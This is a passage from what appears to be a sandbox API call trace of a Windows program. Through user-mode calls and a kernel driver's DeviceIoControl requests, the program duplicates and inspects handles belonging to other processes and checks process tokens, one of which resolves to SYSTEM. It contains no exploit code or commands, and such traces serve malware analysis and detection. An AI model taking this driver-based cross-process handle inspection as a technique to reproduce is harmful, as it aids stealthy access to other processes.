ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.444] ObfDereferenceObject (Object=0xfffffa800216f060) returned 0x2 [0110.445] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.445] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.445] CloseHandle (hObject=0xc4) returned 1 [0110.445] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0110.445] GetCurrentProcess () returned 0xffffffffffffffff [0110.445] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.445] CloseHandle (hObject=0xc4) returned 1 [0110.445] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.445] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.445] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.445] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.445] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0110.445] GetCurrentProcess () returned 0xffffffffffffffff [0110.445] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x8, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0110.445] CloseHandle (hObject=0xc4) returned 1 [0110.445] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12dbc0, TokenInformationLength=0x800, ReturnLength=0x12d4b4 | out: TokenInformation=0x12dbc0, ReturnLength=0x12d4b4) returned 1 [0110.445] LookupAccountSidW (in: lpSystemName="", Sid=0x12dbd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12d9b0, cchName=0x12d4bc, ReferencedDomainName=0x12d7a0, cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8 | out: Name="SYSTEM", cchName=0x12d4bc, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8) returned 1 [0110.452] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0xa, TokenInformation=0x12d568, TokenInformationLength=0x38, ReturnLength=0x12d4b4 | out: TokenInformation=0x12d568, ReturnLength=0x12d4b4) returned 1 [0110.452] GetLastError () returned 0x32 [0110.452] SetLastError (dwErrCode=0x32) [0110.452] GetLastError () returned 0x32 [0110.452] SetLastError (dwErrCode=0x32) [0110.452] CloseHandle (hObject=0xc8) returned 1 [0110.453] CloseHandle (hObject=0xc0) returned 1 [0110.453] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0110.453] GetCurrentProcess () returned 0xffffffffffffffff [0110.453] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x454, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0110.453] CloseHandle (hObject=0xc0) returned 1 [0110.453] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x88) returned 0x2acc20 [0110.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2acc20, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2acc20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.453] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880055905a8 | out: Process=0xfffff880055905a8) returned 0x0 [0110.453] PsAcquireProcessExitSynchronization () returned 0x0 [0110.453] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905c8 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905c8) [0110.453] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff880055905b0, HandleInformation=0x0 | out: Object=0xfffff880055905b0*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0110.453] PsReleaseProcessExitSynchronization () returned 0x2 [0110.453] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0110.453] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880055905a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880055905a4) returned 0xc0000004 [0110.453] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a002c87560 [0110.453] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002c87560, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002c87560, ReturnLength=0x0) returned 0x0 [0110.453] ExFreePoolWithTag (P=0xfffff8a002c87560, Tag=0x0) [0110.453] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0110.453] KeUnstackDetachProcess (ApcState=0xfffff880055905c8) [0110.453] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.453] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2acc20 | out: hHeap=0x270000) returned 1 [0110.453] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.453] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.453] PsAcquireProcessExitSynchronization () returned 0x0 [0110.453] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0110.453] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0110.454] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.454] PsReleaseProcessExitSynchronization () returned 0x2 [0110.454] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0110.454] ObQueryNameString (in: Object=0xfffffa8001a2d420, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.454] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0110.454] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.454] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.454] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0110.454] GetCurrentProcess () returned 0xffffffffffffffff [0110.454] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0110.454] CloseHandle (hObject=0xc0) returned 1 [0110.454] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x88) returned 0x2acc20 [0110.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2acc20, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2acc20*, lpBytesReturned=0x12d450*=0x1c, lpOverlapped=0x0) returned 1 [0110.454] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880055905a8 | out: Process=0xfffff880055905a8) returned 0x0 [0110.454] PsAcquireProcessExitSynchronization () returned 0x0 [0110.454] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905c8 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905c8) [0110.454] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff880055905b0, HandleInformation=0x0 | out: Object=0xfffff880055905b0*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0110.454] PsReleaseProcessExitSynchronization () returned 0x2 [0110.454] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0110.454] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880055905a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880055905a4) returned 0xc0000004 [0110.454] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a002c87560 [0110.454] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002c87560, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002c87560, ReturnLength=0x0) returned 0x0 [0110.454] ExFreePoolWithTag (P=0xfffff8a002c87560, Tag=0x0) [0110.454] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0110.454] KeUnstackDetachProcess (ApcState=0xfffff880055905c8) [0110.454] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.454] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2acc20 | out: hHeap=0x270000) returned 1 [0110.454] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.454] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.455] PsAcquireProcessExitSynchronization () returned 0x0 [0110.455] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0110.455] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0110.455] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.455] PsReleaseProcessExitSynchronization () returned 0x2 [0110.455] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0110.455] ObQueryNameString (in: Object=0xfffff8a0015fb200, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.455] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0110.455] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.455] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.455] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0110.455] GetCurrentProcess () returned 0xffffffffffffffff [0110.455] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0110.455] CloseHandle (hObject=0xc0) returned 1 [0110.455] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x88) returned 0x2acc20 [0110.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2acc20, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2acc20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0110.455] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880055905a8 | out: Process=0xfffff880055905a8) returned 0x0 [0110.455] PsAcquireProcessExitSynchronization () returned 0x0 [0110.455] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905c8 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905c8) [0110.455] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff880055905b0, HandleInformation=0x0 | out: Object=0xfffff880055905b0*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0110.455] PsReleaseProcessExitSynchronization () returned 0x2 [0110.455] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0110.455] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880055905a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880055905a4) returned 0xc0000004 [0110.455] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a00304d9f0 [0110.455] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a00304d9f0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a00304d9f0, ReturnLength=0x0) returned 0x0 [0110.455] ExFreePoolWithTag (P=0xfffff8a00304d9f0, Tag=0x0) [0110.455] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0110.455] KeUnstackDetachProcess (ApcState=0xfffff880055905c8) [0110.455] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.455] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2acc20 | out: hHeap=0x270000) returned 1 [0110.455] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.455] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.456] PsAcquireProcessExitSynchronization () returned 0x0 [0110.456] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880055905d0) [0110.456] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0110.456] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.456] PsReleaseProcessExitSynchronization () returned 0x2 [0110.456] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0110.456] ObQueryNameString (in: Object=0xfffffa8003477400, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.456] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0110.456] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.456] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.456] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0110.456] GetCurrentProcess () returned 0xffffffffffffffff [0110.456] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x95c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0110.456] CloseHandle (hObject=0xc0) returned 1 [0110.456] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.456] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x70) returned 0x294d20 [0110.456] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.456] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.456] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0110.456] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.456] PsAcquireProcessExitSynchronization () returned 0x0 [0110.456] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0110.456] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002faa730, HandleInformation=0x0) returned 0x0 [0110.456] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.456] PsReleaseProcessExitSynchronization () returned 0x2 [0110.456] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0110.456] ObQueryNameString (in: Object=0xfffffa8002faa730, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.456] ObfDereferenceObject (Object=0xfffffa8002faa730) returned 0x5 [0110.456] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.456] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.456] CloseHandle (hObject=0xc8) returned 1 [0110.457] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x338) returned 0xc8 [0110.457] GetCurrentProcess () returned 0xffffffffffffffff [0110.457] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.457] CloseHandle (hObject=0xc8) returned 1 [0110.457] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.457] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x90) returned 0x2948f0 [0110.457] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x2948f0, ObjectInformationLength=0x90, ReturnLength=0x0 | out: ObjectInformation=0x2948f0, ReturnLength=0x0) returned 0x0 [0110.457] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2948f0 | out: hHeap=0x270000) returned 1 [0110.457] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.457] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.457] PsAcquireProcessExitSynchronization () returned 0x0 [0110.457] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0110.457] ObReferenceObjectByHandle (in: Handle=0x320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031a5c70, HandleInformation=0x0) returned 0x0 [0110.457] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.457] PsReleaseProcessExitSynchronization () returned 0x2 [0110.457] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0110.457] ObQueryNameString (in: Object=0xfffffa80031a5c70, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.457] ObfDereferenceObject (Object=0xfffffa80031a5c70) returned 0x2 [0110.457] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.457] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.457] CloseHandle (hObject=0xc0) returned 1 [0110.457] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0110.457] GetCurrentProcess () returned 0xffffffffffffffff [0110.457] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0110.457] CloseHandle (hObject=0xc0) returned 1 [0110.457] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.458] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.458] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.458] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.458] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0110.458] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.458] PsAcquireProcessExitSynchronization () returned 0x0 [0110.458] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0) [0110.458] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800b6ae940, HandleInformation=0x0) returned 0x0 [0110.458] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.458] PsReleaseProcessExitSynchronization () returned 0x2 [0110.458] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0110.458] ObQueryNameString (in: Object=0xfffffa800b6ae940, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.458] ObfDereferenceObject (Object=0xfffffa800b6ae940) returned 0xc [0110.458] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.458] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.458] CloseHandle (hObject=0xc8) returned 1 [0110.458] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0xc8 [0110.458] GetCurrentProcess () returned 0xffffffffffffffff [0110.458] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.458] CloseHandle (hObject=0xc8) returned 1 [0110.458] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.458] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x88) returned 0x2acc20 [0110.458] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x2acc20, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x2acc20, ReturnLength=0x0) returned 0x0 [0110.458] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2acc20 | out: hHeap=0x270000) returned 1 [0110.458] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0110.458] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.458] PsAcquireProcessExitSynchronization () returned 0x0 [0110.458] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0110.459] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, 